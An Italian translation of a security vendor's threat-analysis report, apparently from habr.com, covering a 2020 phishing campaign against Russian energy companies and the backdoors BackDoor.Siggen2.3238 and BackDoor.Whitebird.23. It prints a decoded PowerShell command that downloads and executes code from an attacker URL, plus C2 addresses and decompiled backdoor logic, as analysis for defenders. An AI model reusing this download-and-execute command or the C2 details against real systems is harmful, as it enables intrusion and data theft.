
La nostra esperienza nell’investigazione degli incidenti legati alla sicurezza informatica dimostra che la posta elettronica è ancora uno dei canali più comuni utilizzati dagli aggressori per penetrare inizialmente nelle infrastrutture di rete attaccate. Un'azione imprudente con una lettera sospetta (o meno sospetta) diventa un punto di ingresso per ulteriori infezioni, motivo per cui i criminali informatici utilizzano attivamente metodi di ingegneria sociale, anche se con diversi gradi di successo.
In questo post vogliamo parlare della nostra recente indagine su una campagna di spam che ha preso di mira diverse imprese nel complesso russo dei combustibili e dell'energia. Tutti gli attacchi hanno seguito lo stesso scenario utilizzando e-mail false e nessuno sembrava aver dedicato grandi sforzi al contenuto testuale di queste e-mail.
esplorazione
Tutto è iniziato alla fine di aprile 2020, quando gli analisti di virus Doctor Web hanno scoperto una campagna di spam in cui gli hacker inviavano un elenco telefonico aggiornato ai dipendenti di diverse aziende del complesso russo di combustibili ed energia. Naturalmente non si trattava di una semplice dimostrazione di preoccupazione, poiché la directory non era reale e i documenti .docx scaricavano due immagini da risorse remote.
Uno di questi è stato scaricato sul computer dell'utente dal server news[.]zannews[.]com. È interessante notare che il nome del dominio è simile al dominio del centro mediatico anti-corruzione del Kazakistan - zannews[.]kz. D’altro canto il dominio utilizzato ricordava immediatamente un’altra campagna del 2015 denominata TOPNEWS, che utilizzava una backdoor ICEFOG e aveva domini di controllo trojan con la sottostringa “news” nel nome. Un'altra caratteristica interessante era che quando si inviavano e-mail a destinatari diversi, le richieste di download di un'immagine utilizzavano parametri di richiesta diversi o nomi di immagine univoci.
Riteniamo che ciò sia stato fatto con lo scopo di raccogliere informazioni per identificare un destinatario “affidabile”, che avrebbe così la garanzia di aprire la lettera al momento giusto. Per scaricare l'immagine dal secondo server è stato utilizzato il protocollo SMB, che potrebbe essere utilizzato per raccogliere gli hash NetNTLM dai computer dei dipendenti che hanno aperto il documento ricevuto.
Ed ecco la lettera stessa con la directory falsa:

Nel giugno di quest'anno, gli hacker hanno iniziato a utilizzare un nuovo nome di dominio, sports[.]manhajnews[.]com, per caricare immagini. L'analisi ha mostrato che i sottodomini manhajnews[.]com sono stati utilizzati nelle e-mail di spam almeno da settembre 2019. Uno degli obiettivi di questa campagna era una grande università russa.
Inoltre, a giugno, gli organizzatori dell'attacco hanno escogitato un nuovo testo per le loro lettere: questa volta il documento conteneva informazioni sullo sviluppo del settore. Il testo della lettera indicava chiaramente che il suo autore non era di madrelingua russa o stava deliberatamente creando una simile impressione su se stesso. Sfortunatamente, le idee per lo sviluppo del settore, come sempre, si sono rivelate solo una copertura: il documento ha nuovamente scaricato due immagini, mentre il server è stato cambiato in download[.]inklingpaper[.]com.
La prossima innovazione è arrivata a luglio. Nel tentativo di aggirare il rilevamento di documenti dannosi da parte dei programmi antivirus, gli aggressori hanno iniziato a utilizzare documenti Microsoft Word crittografati con una password. Allo stesso tempo, gli aggressori hanno deciso di utilizzare una classica tecnica di ingegneria sociale: la notifica della ricompensa.

Il testo dell'appello è stato nuovamente scritto nello stesso stile, il che ha destato ulteriori sospetti tra il destinatario. Anche il server per il download dell'immagine non è cambiato.
Si noti che in tutti i casi, per inviare lettere venivano utilizzate caselle di posta elettroniche registrate sui domini mail[.]ru e yandex[.]ru.
attacco
All’inizio di settembre 2020 era giunto il momento di agire. I nostri analisti di virus hanno registrato una nuova ondata di attacchi in cui gli aggressori hanno nuovamente inviato lettere con il pretesto di aggiornare un elenco telefonico. Tuttavia, questa volta l'allegato conteneva una macro dannosa.
All'apertura del documento allegato, la macro ha creato due file:
- Script VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, destinato ad avviare un file batch;
- Il file batch stesso %APPDATA%configstest.bat, che è stato offuscato.

L'essenza del suo lavoro si riduce al lancio della shell Powershell con determinati parametri. I parametri passati alla shell vengono decodificati in comandi:
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;Come risulta dai comandi presentati, il dominio da cui viene scaricato il payload è nuovamente camuffato da sito di notizie. Un semplice , il cui unico compito è ricevere lo shellcode dal server di comando e controllo ed eseguirlo. Siamo riusciti a identificare due tipi di backdoor che possono essere installati sul PC della vittima.
BackDoor.Siggen2.3238
Il primo è BackDoor.Siggen2.3238 - i nostri specialisti non l'avevano mai incontrato prima e non c'erano riferimenti a questo programma da parte di altri fornitori di antivirus.
Questo programma è una backdoor scritta in C++ e in esecuzione su sistemi operativi Windows a 32 bit.
BackDoor.Siggen2.3238 è in grado di comunicare con il server di gestione utilizzando due protocolli: HTTP e HTTPS. Il campione testato utilizza il protocollo HTTPS. Il seguente agente utente viene utilizzato nelle richieste al server:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)
In questo caso, tutte le richieste vengono fornite con il seguente set di parametri:
%s;type=%s;length=%s;realdata=%send
dove ogni riga %s è corrispondentemente sostituita da:
- ID del computer infetto,
- tipo di richiesta inviata,
- lunghezza dei dati nel campo realdata,
- i dati.
Nella fase di raccolta delle informazioni sul sistema infetto, la backdoor genera una riga come:
lan=%s;cmpname=%s;username=%s;version=%s;
dove lan è l'indirizzo IP del computer infetto, cmpname è il nome del computer, nomeutente è il nome utente, versione è la riga 0.0.4.03.
Queste informazioni con l'identificatore sysinfo vengono inviate tramite una richiesta POST al server di controllo situato in https[:]//31.214[.]157.14/log.txt. Se in risposta BackDoor.Siggen2.3238 riceve il segnale HEART, la connessione viene considerata riuscita e la backdoor inizia il ciclo principale di comunicazione con il server.
Descrizione più completa dei principi di funzionamento BackDoor.Siggen2.3238 è nel nostro .
BackDoor.Whitebird.23
Il secondo programma è una modifica della backdoor BackDoor.Whitebird, a noi già nota dall'incidente con un'agenzia governativa in Kazakistan. Questa versione è scritta in C++ ed è progettata per essere eseguita su sistemi operativi Windows a 32 e 64 bit.
Come la maggior parte dei programmi di questo tipo, BackDoor.Whitebird.23 progettato per stabilire una connessione crittografata con il server di controllo e il controllo non autorizzato di un computer infetto. Installato in un sistema compromesso utilizzando un contagocce .
Il campione che abbiamo esaminato era una libreria dannosa con due esportazioni:
- Google Play
- Test.
All'inizio del suo lavoro, decodifica la configurazione cablata nel corpo della backdoor utilizzando un algoritmo basato sull'operazione XOR con il byte 0x99. La configurazione è simile a:
struct st_cfg
{
_DWORD dword0;
wchar_t campaign[64];
wchar_t cnc_addr[256];
_DWORD cnc_port;
wchar_t cnc_addr2[100];
wchar_t cnc_addr3[100];
_BYTE working_hours[1440];
wchar_t proxy_domain[50];
_DWORD proxy_port;
_DWORD proxy_type;
_DWORD use_proxy;
_BYTE proxy_login[50];
_BYTE proxy_password[50];
_BYTE gapa8c[256];
};
Per garantirne il funzionamento costante, la backdoor modifica il valore specificato nel campo ore lavorative configurazioni. Il campo contiene 1440 byte, che assumono i valori 0 o 1 e rappresentano ogni minuto di ogni ora della giornata. Crea un thread separato per ciascuna interfaccia di rete che ascolta l'interfaccia e cerca i pacchetti di autorizzazione sul server proxy dal computer infetto. Quando viene rilevato un pacchetto di questo tipo, la backdoor aggiunge informazioni sul server proxy al suo elenco. Inoltre, verifica la presenza di un proxy tramite WinAPI OpzioneInternetQueryW.
Il programma controlla il minuto e l'ora correnti e li confronta con i dati sul campo ore lavorative configurazioni. Se il valore del minuto corrispondente della giornata non è zero, viene stabilita una connessione con il server di controllo.
Stabilire una connessione al server simula la creazione di una connessione utilizzando il protocollo TLS versione 1.0 tra il client e il server. Il corpo della backdoor contiene due buffer.
Il primo buffer contiene il pacchetto Client Hello TLS 1.0.

Il secondo buffer contiene pacchetti di scambio di chiavi client TLS 1.0 con una lunghezza della chiave di 0x100 byte, modifica delle specifiche di crittografia e messaggio di handshake crittografato.

Quando si invia un pacchetto Client Hello, la backdoor scrive 4 byte dell'ora corrente e 28 byte di dati pseudo-casuali nel campo Client Random, calcolati come segue:
v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
*(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
clientrnd[j] ^= 7 * (_BYTE)j;
Il pacchetto ricevuto viene inviato al server di controllo. La risposta (pacchetto Server Hello) verifica:
- conformità al protocollo TLS versione 1.0;
- corrispondenza del timestamp (i primi 4 byte del campo Random Data packet) specificato dal client al timestamp specificato dal server;
- corrispondenza dei primi 4 byte dopo il timestamp nel campo Dati casuali del client e del server.
In caso delle corrispondenze specificate, la backdoor prepara un pacchetto Client Key Exchange. Per fare ciò, modifica la chiave pubblica nel pacchetto Client Key Exchange, nonché la crittografia IV e i dati di crittografia nel pacchetto Encrypted Handshake Message.
La backdoor riceve quindi il pacchetto dal server di comando e controllo, verifica che la versione del protocollo TLS sia 1.0 e quindi accetta altri 54 byte (il corpo del pacchetto). Questo completa la configurazione della connessione.
Descrizione più completa dei principi di funzionamento BackDoor.Whitebird.23 è nel nostro .
Conclusione e conclusioni
L'analisi dei documenti, del malware e dell'infrastruttura utilizzata permette di affermare con certezza che l'attacco è stato preparato da uno dei gruppi APT cinesi. Considerando la funzionalità delle backdoor che vengono installate sui computer delle vittime in caso di attacco riuscito, l’infezione porta come minimo al furto di informazioni riservate dai computer delle organizzazioni attaccate.
Inoltre, uno scenario molto probabile è l'installazione di trojan specializzati con una funzione speciale su server locali. Questi potrebbero essere controller di dominio, server di posta, gateway Internet, ecc. Come abbiamo potuto vedere nell'esempio , tali server rivestono particolare interesse per gli aggressori per vari motivi.
Fonte: habr.com
